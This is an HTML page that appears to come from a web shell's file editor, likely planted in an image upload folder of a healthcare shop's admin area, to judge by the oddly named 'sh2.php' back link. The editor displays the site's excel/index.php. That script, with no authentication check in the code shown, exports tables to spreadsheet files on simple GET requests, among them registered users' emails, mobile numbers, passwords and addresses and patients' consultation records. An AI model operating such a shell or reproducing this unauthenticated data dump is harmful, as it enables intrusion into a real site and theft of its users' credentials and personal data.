<h2>Edit File - index.php</h2><form method="POST" style="padding:20px">
                <input type="hidden" name="edit_file" value="/home/u616847985/domains/dial4healthcare.com/public_html/dial-admin/excel/index.php">
                <textarea name="file_content" style="width:100%; height:400px; font-family:monospace;">&lt;?php
include &#039;DBController.php&#039;;

if (isset($_GET[&quot;category&quot;])) {
$db_handle = new DBController();
$productResult = $db_handle-&gt;runQuery(&quot;select category_name from category&quot;);

    $filename = &quot;category.xls&quot;;
    header(&quot;Content-Type: application/vnd.ms-excel&quot;);
    header(&quot;Content-Disposition: attachment; filename=\&quot;$filename\&quot;&quot;);
    $isPrintHeader = false;
    if (! empty($productResult)) {
        foreach ($productResult as $row) {
            if (! $isPrintHeader) {
                echo implode(&quot;\t&quot;, array_keys($row)) . &quot;\n&quot;;
                $isPrintHeader = true;
            }
            echo implode(&quot;\t&quot;, array_values($row)) . &quot;\n&quot;;
        }
    }
    exit();
}

if (isset($_GET[&quot;scategory&quot;])) {
$db_handle = new DBController();
$productResult = $db_handle-&gt;runQuery(&quot;select scategory_name from scategory&quot;);

    $filename = &quot;scategory.xls&quot;;
    header(&quot;Content-Type: application/vnd.ms-excel&quot;);
    header(&quot;Content-Disposition: attachment; filename=\&quot;$filename\&quot;&quot;);
    $isPrintHeader = false;
    if (! empty($productResult)) {
        foreach ($productResult as $row) {
            if (! $isPrintHeader) {
                echo implode(&quot;\t&quot;, array_keys($row)) . &quot;\n&quot;;
                $isPrintHeader = true;
            }
            echo implode(&quot;\t&quot;, array_values($row)) . &quot;\n&quot;;
        }
    }
    exit();
}

if (isset($_GET[&quot;sscategory&quot;])) {
$db_handle = new DBController();
$productResult = $db_handle-&gt;runQuery(&quot;select sscategory_name from sscategory&quot;);

    $filename = &quot;sscategory.xls&quot;;
    header(&quot;Content-Type: application/vnd.ms-excel&quot;);
    header(&quot;Content-Disposition: attachment; filename=\&quot;$filename\&quot;&quot;);
    $isPrintHeader = false;
    if (! empty($productResult)) {
        foreach ($productResult as $row) {
            if (! $isPrintHeader) {
                echo implode(&quot;\t&quot;, array_keys($row)) . &quot;\n&quot;;
                $isPrintHeader = true;
            }
            echo implode(&quot;\t&quot;, array_values($row)) . &quot;\n&quot;;
        }
    }
    exit();
}

if (isset($_GET[&quot;product&quot;])) {
$db_handle = new DBController();
$productResult = $db_handle-&gt;runQuery(&quot;select id,title,sku,category,scategory,sscategory,description,description1,price,discount,fprice,qty,video,color,length,breadth,width,size,weight,cat from product&quot;);

    $filename = &quot;product.xls&quot;;
    header(&quot;Content-Type: application/vnd.ms-excel&quot;);
    header(&quot;Content-Disposition: attachment; filename=\&quot;$filename\&quot;&quot;);
    $isPrintHeader = false;
    if (! empty($productResult)) {
        foreach ($productResult as $row) {
            if (! $isPrintHeader) {
                echo implode(&quot;\t&quot;, array_keys($row)) . &quot;\n&quot;;
                $isPrintHeader = true;
            }
            echo implode(&quot;\t&quot;, array_values($row)) . &quot;\n&quot;;
        }
    }
    exit();
}

if (isset($_GET[&quot;subscriber&quot;])) {
$db_handle = new DBController();
$productResult = $db_handle-&gt;runQuery(&quot;select date,semail from subscriber&quot;);

    $filename = &quot;subscriber.xls&quot;;
    header(&quot;Content-Type: application/vnd.ms-excel&quot;);
    header(&quot;Content-Disposition: attachment; filename=\&quot;$filename\&quot;&quot;);
    $isPrintHeader = false;
    if (! empty($productResult)) {
        foreach ($productResult as $row) {
            if (! $isPrintHeader) {
                echo implode(&quot;\t&quot;, array_keys($row)) . &quot;\n&quot;;
                $isPrintHeader = true;
            }
            echo implode(&quot;\t&quot;, array_values($row)) . &quot;\n&quot;;
        }
    }
    exit();
}

if (isset($_GET[&quot;register&quot;])) {
$db_handle = new DBController();
$productResult = $db_handle-&gt;runQuery(&quot;select email,name,mobile,password,baddress,saddress from register&quot;);

    $filename = &quot;register.xls&quot;;
    header(&quot;Content-Type: application/vnd.ms-excel&quot;);
    header(&quot;Content-Disposition: attachment; filename=\&quot;$filename\&quot;&quot;);
    $isPrintHeader = false;
    if (! empty($productResult)) {
        foreach ($productResult as $row) {
            if (! $isPrintHeader) {
                echo implode(&quot;\t&quot;, array_keys($row)) . &quot;\n&quot;;
                $isPrintHeader = true;
            }
            echo implode(&quot;\t&quot;, array_values($row)) . &quot;\n&quot;;
        }
    }
    exit();
}

if (isset($_GET[&quot;contact&quot;])) {
$db_handle = new DBController();
$productResult = $db_handle-&gt;runQuery(&quot;select name,mobile,email,message from contact&quot;);

    $filename = &quot;contact.xls&quot;;
    header(&quot;Content-Type: application/vnd.ms-excel&quot;);
    header(&quot;Content-Disposition: attachment; filename=\&quot;$filename\&quot;&quot;);
    $isPrintHeader = false;
    if (! empty($productResult)) {
        foreach ($productResult as $row) {
            if (! $isPrintHeader) {
                echo implode(&quot;\t&quot;, array_keys($row)) . &quot;\n&quot;;
                $isPrintHeader = true;
            }
            echo implode(&quot;\t&quot;, array_values($row)) . &quot;\n&quot;;
        }
    }
    exit();
}

if (isset($_GET[&quot;orders&quot;])) {
$db_handle = new DBController();
$productResult = $db_handle-&gt;runQuery(&quot;select id,date,email,total from order_detail&quot;);

    $filename = &quot;orders.xls&quot;;
    header(&quot;Content-Type: application/vnd.ms-excel&quot;);
    header(&quot;Content-Disposition: attachment; filename=\&quot;$filename\&quot;&quot;);
    $isPrintHeader = false;
    if (! empty($productResult)) {
        foreach ($productResult as $row) {
            if (! $isPrintHeader) {
                echo implode(&quot;\t&quot;, array_keys($row)) . &quot;\n&quot;;
                $isPrintHeader = true;
            }
            echo implode(&quot;\t&quot;, array_values($row)) . &quot;\n&quot;;
        }
    }
    exit();
}

if (isset($_GET[&quot;borders&quot;])) {
$db_handle = new DBController();
$productResult = $db_handle-&gt;runQuery(&quot;select id,date,oname,description,email,mobile from border&quot;);

    $filename = &quot;borders.xls&quot;;
    header(&quot;Content-Type: application/vnd.ms-excel&quot;);
    header(&quot;Content-Disposition: attachment; filename=\&quot;$filename\&quot;&quot;);
    $isPrintHeader = false;
    if (! empty($productResult)) {
        foreach ($productResult as $row) {
            if (! $isPrintHeader) {
                echo implode(&quot;\t&quot;, array_keys($row)) . &quot;\n&quot;;
                $isPrintHeader = true;
            }
            echo implode(&quot;\t&quot;, array_values($row)) . &quot;\n&quot;;
        }
    }
    exit();
}

if (isset($_GET[&quot;consultation&quot;])) {
$db_handle = new DBController();
$productResult = $db_handle-&gt;runQuery(&quot;select date,name,mobile,email,gender,dob,profession,purpose,state,city from consultation&quot;);

    $filename = &quot;consultation.xls&quot;;
    header(&quot;Content-Type: application/vnd.ms-excel&quot;);
    header(&quot;Content-Disposition: attachment; filename=\&quot;$filename\&quot;&quot;);
    $isPrintHeader = false;
    if (! empty($productResult)) {
        foreach ($productResult as $row) {
            if (! $isPrintHeader) {
                echo implode(&quot;\t&quot;, array_keys($row)) . &quot;\n&quot;;
                $isPrintHeader = true;
            }
            echo implode(&quot;\t&quot;, array_values($row)) . &quot;\n&quot;;
        }
    }
    exit();
}

if (isset($_GET[&quot;artists&quot;])) {
$db_handle = new DBController();
$productResult = $db_handle-&gt;runQuery(&quot;select id,date,name,about,artist,location,aart from artists&quot;);

    $filename = &quot;artists.xls&quot;;
    header(&quot;Content-Type: application/vnd.ms-excel&quot;);
    header(&quot;Content-Disposition: attachment; filename=\&quot;$filename\&quot;&quot;);
    $isPrintHeader = false;
    if (! empty($productResult)) {
        foreach ($productResult as $row) {
            if (! $isPrintHeader) {
                echo implode(&quot;\t&quot;, array_keys($row)) . &quot;\n&quot;;
                $isPrintHeader = true;
            }
            echo implode(&quot;\t&quot;, array_values($row)) . &quot;\n&quot;;
        }
    }
    exit();
}

if (isset($_GET[&quot;support&quot;])) {
$db_handle = new DBController();
$productResult = $db_handle-&gt;runQuery(&quot;select id,date,ono,stype from support&quot;);

    $filename = &quot;support.xls&quot;;
    header(&quot;Content-Type: application/vnd.ms-excel&quot;);
    header(&quot;Content-Disposition: attachment; filename=\&quot;$filename\&quot;&quot;);
    $isPrintHeader = false;
    if (! empty($productResult)) {
        foreach ($productResult as $row) {
            if (! $isPrintHeader) {
                echo implode(&quot;\t&quot;, array_keys($row)) . &quot;\n&quot;;
                $isPrintHeader = true;
            }
            echo implode(&quot;\t&quot;, array_values($row)) . &quot;\n&quot;;
        }
    }
    exit();
}
?&gt;
</textarea><br><br>
                <button type="submit" class="btn">Save</button>
                <a href="/dial-admin/image/doctor/10471754069486_sh2.php?dir=." class="btn gray">Kembali</a>
              </form>